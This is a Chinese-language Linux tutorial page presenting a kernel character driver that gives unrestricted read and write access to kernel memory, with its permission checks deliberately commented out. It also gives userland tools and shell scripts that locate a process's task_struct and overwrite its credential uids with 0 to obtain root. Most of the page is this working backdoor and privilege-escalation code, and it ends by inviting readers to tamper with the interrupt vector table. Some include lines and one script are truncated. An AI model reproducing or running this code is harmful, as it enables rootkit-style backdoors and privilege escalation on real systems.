歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> 關於Linux >> 使用簡單字符驅動來做Kernel Hacking

使用簡單字符驅動來做Kernel Hacking

日期:2017/3/1 11:47:03   编辑:關於Linux

事先聲明,本人菜鳥一枚,文中如有不正確之處,敬請大俠指正委屈.

(本文中舉例均以4.5版本的x86_64的linux內核為例)

字符驅動算是linux驅動裡面比較簡單的一種。說白了,就是可以對內存讀哇寫哇什麼的。既然是對內存讀寫,那為什麼還要驅動呢?簡單的

int a;
a = 10;
不就是對內存寫嗎?干嘛還要搞個驅動,這麼麻煩?
哈哈,利用驅動對內存的讀寫優勢在於,可以對內核地址空間的內存進行讀寫。這下就不得了了,整個操作系統(也就是內核)都是在內核空間的,當然包括線程相關的一些內核數據什麼的,也統統都棲身於內核空間,從而達到操作系統對數據的保護作用,一般人是碰不到這些數據的。那麼當你把內存驅動加載到內核之後,會發生什麼呢?哈哈,這些內核空間所保護的數據全部都暴露在你的內核驅動之下啦,因為你的字符驅動也是運行於內核空間的,說白了,你的字符驅動和內核空間的所有數據都是一家人啦,可以隨意讀寫。這對於喜歡玩弄內核數據的人來說,有點小激動大笑

閒話扯到這,上代碼吧:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("GAO");
MODULE_DESCRIPTION("HELLO");

dev_t dev;
extern struct task_struct init_task;

static inline unsigned long size_inside_page(unsigned long start,
                                             unsigned long size)
{
	unsigned long sz;
	sz = PAGE_SIZE - (start & (PAGE_SIZE - 1));
	return min(sz, size);
}

static loff_t my_chr_dev_seek(struct file *file, loff_t offset, int orig)
{
	loff_t ret;

	mutex_lock(&file_inode(file)->i_mutex);
	switch (orig) {
	case SEEK_CUR:
		offset += file->f_pos;
	case SEEK_SET:
		/* to avoid userland mistaking f_pos=-9 as -EBADF=-9 */
		if (IS_ERR_VALUE((unsigned long long)offset)) {
			ret = -EOVERFLOW;
			break;
		}
		file->f_pos = offset;
		ret = file->f_pos;
		force_successful_syscall_return();
		break;
	default:
		ret = -EINVAL;
	}
	mutex_unlock(&file_inode(file)->i_mutex);
	return ret;
}

static ssize_t do_write_kmem(unsigned long p, const char __user *buf,
				size_t count, loff_t *ppos)
{
	ssize_t written, sz;
	unsigned long copied;

	written = 0;

	while (count > 0) {
		char *ptr;

		sz = size_inside_page(p, count);

		/*
		 * On ia64 if a page has been mapped somewhere as uncached, then
		 * it must also be accessed uncached by the kernel or data
		 * corruption may occur.
		 */
		ptr = xlate_dev_kmem_ptr((char *)p);

		copied = copy_from_user(ptr, buf, sz);
		if (copied) {
			written += sz - copied;
			if (written)
				break;
			return -EFAULT;
		}
		buf += sz;
		p += sz;
		count -= sz;
		written += sz;
	}

	*ppos += written;
	return written;
}
static ssize_t my_chr_dev_write(struct file *file, const char __user *buf,
			  size_t count, loff_t *ppos)
{
	unsigned long p = *ppos;
	ssize_t wrote = 0;
	ssize_t virtr = 0;
	char *kbuf; 
	int err = 0;

/*	if (!capable(CAP_COMPROMISE_KERNEL))
		return -EPERM;
		*/

	if (p < (unsigned long) high_memory) {
		unsigned long to_write = min_t(unsigned long, count,
					       (unsigned long)high_memory - p);
		wrote = do_write_kmem(p, buf, to_write, ppos);
		if (wrote != to_write)
			return wrote;
		p += wrote;
		buf += wrote;
		count -= wrote;
	}

	if (count > 0) {
		kbuf = (char *)__get_free_page(GFP_KERNEL);
		if (!kbuf)
			return wrote ? wrote : -ENOMEM;
		while (count > 0) {
			unsigned long sz = size_inside_page(p, count);
			unsigned long n;

		/*	if (!is_vmalloc_or_module_addr((void *)p)) {
				err = -ENXIO;
				break;
			} */
			n = copy_from_user(kbuf, buf, sz);
			if (n) {
				err = -EFAULT;
				break;
			}
			memcpy((char *)p, kbuf, sz);
		/*	vwrite(kbuf, (char *)p, sz); */
			count -= sz;
			buf += sz;
			virtr += sz;
			p += sz;
		}
		free_page((unsigned long)kbuf);
	}

	*ppos = p;
	return virtr + wrote ? : err;
}
static ssize_t my_chr_dev_read(struct file *file, char __user *buf,
			 size_t count, loff_t *ppos)
{
	unsigned long p = *ppos;
	ssize_t low_count, read, sz;
	char *kbuf;
	int err = 0;

	read = 0;
	if (p < (unsigned long) high_memory) {
		low_count = count;
		if (count > (unsigned long)high_memory - p)
			low_count = (unsigned long)high_memory - p;

		while (low_count > 0) {
			sz = size_inside_page(p, low_count);

			/*
			 * On ia64 if a page has been mapped somewhere as
			 * uncached, then it must also be accessed uncached
			 * by the kernel or data corruption may occur
			 */
			kbuf = xlate_dev_kmem_ptr((char *)p);

			if (copy_to_user(buf, kbuf, sz))
				return -EFAULT;
			buf += sz;
			p += sz;
			read += sz;
			low_count -= sz;
			count -= sz;
		}
	}

	if (count > 0) {
		kbuf = (char *)__get_free_page(GFP_KERNEL);
		if (!kbuf)
			return -ENOMEM;
		while (count > 0) {
			sz = size_inside_page(p, count);
			memcpy(kbuf, (char *)p, sz);
		/*	sz = vread(kbuf, (char *)p, sz);
			if (!sz)
				break;
		*/
			if (copy_to_user(buf, kbuf, sz)) {
				err = -EFAULT;
				break;
			}
			count -= sz;
			buf += sz;
			read += sz;
			p += sz;
		}
		free_page((unsigned long)kbuf);
	}
	*ppos = p;
	return read ? read : err;
}

static int my_chr_dev_open(struct inode *inode, struct file *filp)
{
	filp->f_mode |= FMODE_UNSIGNED_OFFSET;
	return 0;
}

static const struct file_operations my_chr_dev_fops =  {
	.llseek 	= my_chr_dev_seek,
	.read		= my_chr_dev_read,
	.write		= my_chr_dev_write,
	.open		= my_chr_dev_open,
	.owner		= THIS_MODULE,
};

struct cdev my_chrdev;
static int my_chrdev_init(void)
{
	int ret;

	ret = alloc_chrdev_region(&dev, 0, 1, "my_chr_dev");
	if (ret != 0) {
		printk(KERN_ALERT "error allocating device number\n");
		return ret;
	}

	cdev_init(&my_chrdev, &my_chr_dev_fops);
	my_chrdev.owner = THIS_MODULE;

	ret = cdev_add(&my_chrdev, dev, 1);
	if (ret < 0) {
		printk(KERN_ALERT "adding charactor device failed\n");
		unregister_chrdev_region(dev, 1);
		return ret;
	}

	printk(KERN_ALERT "hello, I'm coming\n");
	printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task));
	printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks));
	printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid));
	printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred));
	return 0;
}

static void my_chrdev_exit(void)
{
	unregister_chrdev_region(dev, 1);
	cdev_del(&my_chrdev);
	printk(KERN_ALERT "goodbye, dear world\n");
}



module_init(my_chrdev_init);
module_exit(my_chrdev_exit);
不好意思,注釋不多,但應該也不難讀懂偷笑
前面說了半天字符驅動有多麼好玩,現在來點實際的吧,舉個例子。既然可以對內核空間的任何內存地址進行讀寫,那麼試著改變一下進程的權限如何?也就是讓當前進程擁有root用戶權限大笑。每個進程的相關數據結構都由一個 struct task_struct 結構體維護(在include/linux/sched.h中定義,linux源碼可在lxr上去翻,關於lxr,問度娘。。。)。在這個結構體中,我們對其中三個成員變量比較感興趣:
struct list_head tasks;
const struct cred __rcu *real_cred;
pid_t pid;
其中 const struct cred __rcu *real_cred 就是指向當前進程相關權限的數據結構的指針。pid就是進程id,tasks是個雙向鏈表頭,linux內核就是靠這個把所有的進程的 task_struct 結構鏈起來,也就是說,只要找到某一個進程的 task_struct 結構的地址,通過這個雙向鏈表就可以遍歷所有進程的task_struct結構了。現在我們需要做的就是遍歷所有進程的task_struct結構,取出進程id,看看是不是我們感興趣的那個進程,如果是的話,將 real_cred 指針指向的結構體裡面對應的權限改成 root 權限(其實就是把uid改成root的uid,root的uid其實就是0),就一切大功告成啦,哈哈。等等,剛才說要遍歷所有進程,得先知道某一個進程的task_struct結構體的地址,這茫茫人海,怎麼找啊尴尬。幸好linux提供了一個 叫做 init_task 的task_struct 結構體。好像就是0號進程的task_struct結構體吧,反正這個結構體一開機就已經在內核空間存在了的。那就找下這個 init_task 變量的位置吧。以前利用
grep "\" /proc/kallsyms
命令就可以把它的地址找到,不過最近內核裡不知做了什麼,看源碼 init_task 明明被導出了,但我的 /proc/kallsyms 裡面死活就是沒有它!這就是為什麼我在上面的字符驅動裡面有這樣的語句了:
extern struct task_struct init_task;
...
printk(KERN_ALERT "init_task addr: %lx\n", (long *)(&init_task));

然後再使用 dmsg 看看結果。。。方法有點土,但還行,能工作大笑。其他的語句裡面:
printk(KERN_ALERT "tasks list head offset: %lx\n", (long *)(&init_task.tasks));
printk(KERN_ALERT "pid offset: %lx\n", (long *)(&init_task.pid));
printk(KERN_ALERT "real_cred offset: %lx\n", (long *)(&init_task.real_cred));
是為了看看我們感興趣的這三個成員變量在 task_struct 結構體裡面的地址相對偏移量。當然了,如果你不嫌麻煩,也可以對著源碼數,再考慮上內存對齊的問題,也是可以數出來相對偏移量的,真的可以的偷笑。 該說的都說完了,貼幾個代碼吧,方便懶人,哈哈:
read_kernel_data.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 

union Data
{
	u_int8_t data_8;
	u_int16_t data_16;
	u_int32_t data_32;
	u_int64_t data_64;
};

int main(int argc, char* argv[])
{
	int fd;
	ssize_t len, ret;
	off_t off;
	union Data data;
	void *buf;
	FILE *fp;
	
	if (argc != 3 && argc != 4) {
		fprintf(stderr, 
			"usage: read_kernel_data   [out_file]\n");
		return -1;
	}

	/* open char driver */
	fd = open("/dev/my_chr_dev0", O_RDONLY);
	if (fd == -1) {
		perror("open");
		return -1;
	}

	/* parse parameters */
	len = (ssize_t) strtol(argv[2], NULL, 0);
	off = (off_t) strtoul(argv[1], NULL, 0);
	if (argc == 3)
		buf = (void *)&data;
	else 
		buf = malloc(len);
	if (buf == NULL) {
		perror("malloc");
		return -1;
	}

	/* read kernel data according to given parameters */
	if (lseek(fd, off, SEEK_SET) == -1) {
		perror("lseek");
		close(fd);
		return -1;
	}
	while (len !=0 && (ret = read(fd, buf, len)) != 0) {
		if (ret == -1) {
			if (errno == EINTR)
				continue;
			perror("read");
			return -1;
		}
		len -= ret;
		buf += ret;
	}

	len = (ssize_t) strtol(argv[2], NULL, 0);
	/* write data to file */
	buf -= len;
	if (argc == 4) {
		fp = fopen(argv[3], "wb");
		if (!fp) {
			perror("open");
			return -1;
		}
		fwrite(buf, len, 1, fp);
		fclose(fp);
		printf("data has been writen in file: %s\n", argv[3]);
		return 0;
	}

	/* write data to stdout */
	switch (len) {
	case 1:
		printf("result@0x%lx: %hhd\t0x%02hhx\n", 
				off, data.data_8, data.data_8);
		break;
	case 2:
		printf("result@0x%lx: %hd\t0x%04hx\n", 
				off, data.data_16, data.data_16);
		break;
	case 4:
		printf("result@0x%lx: %d\t0x%08x\n", 
				off, data.data_32, data.data_32); 
		break;
	case 8:
		printf("result@0x%lx: %ld\t0x%016lx\n", 
				off, data.data_64, data.data_64);
		break;
	default:
		fprintf(stderr, "invalide length!\n");
	}
	close(fd);
	return 0;
}

write_kernel_data.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 

union Data
{
	u_int8_t data_8;
	u_int16_t data_16;
	u_int32_t data_32;
	u_int64_t data_64;
};

int main(int argc, char* argv[])
{
	int fd;
	ssize_t len;
	off_t off;
	unsigned long tmp;
	union Data data;
	
	if (argc != 4) {
		fprintf(stderr, "usage: write_kernel_mem   \n");
		return -1;
	}

	fd = open("/dev/my_chr_dev0", O_WRONLY);
	if (fd == -1) {
		perror("open");
		return -1;
	}

	len = (ssize_t) strtol(argv[2], NULL, 0);
	off = (off_t) strtoul(argv[1], NULL, 0);
	tmp = strtoul(argv[3], NULL, 0);

	switch (len) {
	case 1:
		data.data_8 = (u_int8_t)tmp;
		break;
	case 2:
		data.data_16 = (u_int16_t)tmp;
		break;
	case 4:
		data.data_32 = (u_int32_t)tmp;
		break;
	case 8:
		data.data_64 = (u_int64_t)tmp;
		break;
	default:
		fprintf(stderr, "invalide length!\n");
	}

	if (lseek(fd, off, SEEK_SET) == -1) {
		perror("lseek");
		close(fd);
		return -1;
	}

	if (-1 == write(fd, (void*)&data, len)) {
		perror("write");
		close(fd);
		return -1;
	}

	close(fd);
	return 0;
}

locate_process.sh (用來找到當前進程的 task_struct 結構體地址)
#!/bin/sh

if [ $# -ne 1 ]
then
	echo "usage: locate_process "
	exit 0
fi

pid=$1
#init_task=`grep "\" /proc/kallsyms | cut -f1 -d" "`
init_task="0xffffffff81811500"
#echo "init_task address is $init_task"

current_pid=0
list_head=$((0x398 + $init_task))
list_head=`printf 0x%lx $list_head`
init_list_head=$list_head

until [ "$pid" -eq "$current_pid" ]
do
	pid_in_task=$((0x100 + $list_head))
	pid_in_task=`printf 0x%lx $pid_in_task`
	current_pid=`read_kernel_data ${pid_in_task} 4 | awk '{print $2}'`
	list_head=`read_kernel_data $list_head 8 | awk '{print $3}'`
	if [ "${list_head}" = "${init_list_head}" ]
	then
		echo "no process found"
		exit -1
	fi
done

descriptor=$(($pid_in_task - 0x498))
descriptor=`printf 0x%lx $descriptor`
echo "process descriptor address is $descriptor"

終極武器:This_is_a_magical_script_that_can_give_me_root_privilege.sh (名字又長又帥大笑
#!/bin/sh

pid=$$
proc_addr=`~/tmp/locate_process $pid | awk '{print $5}'`
cred_pointer=$(($proc_addr + 0x638))
cred_pointer=`printf 0x%lx $cred_pointer`
cred_addr=`read_kernel_data $cred_pointer 8 | awk '{print $3}'`
uid_pointer=$(($cred_addr + 4))
uid_pointer=`printf 0x%lx $uid_pointer`
write_kernel_data $uid_pointer 8 0
uid_pointer=$(($cred_addr + 20))
uid_pointer=`printf 0x%lx $uid_pointer`
write_kernel_data $uid_pointer 8 0

cat<

好了,截個圖看看效果吧 ^_^:

\




題外話,如果有興趣可以試著改改中斷向量表,肯定更刺激偷笑
Copyright © Linux教程網 All Rights Reserved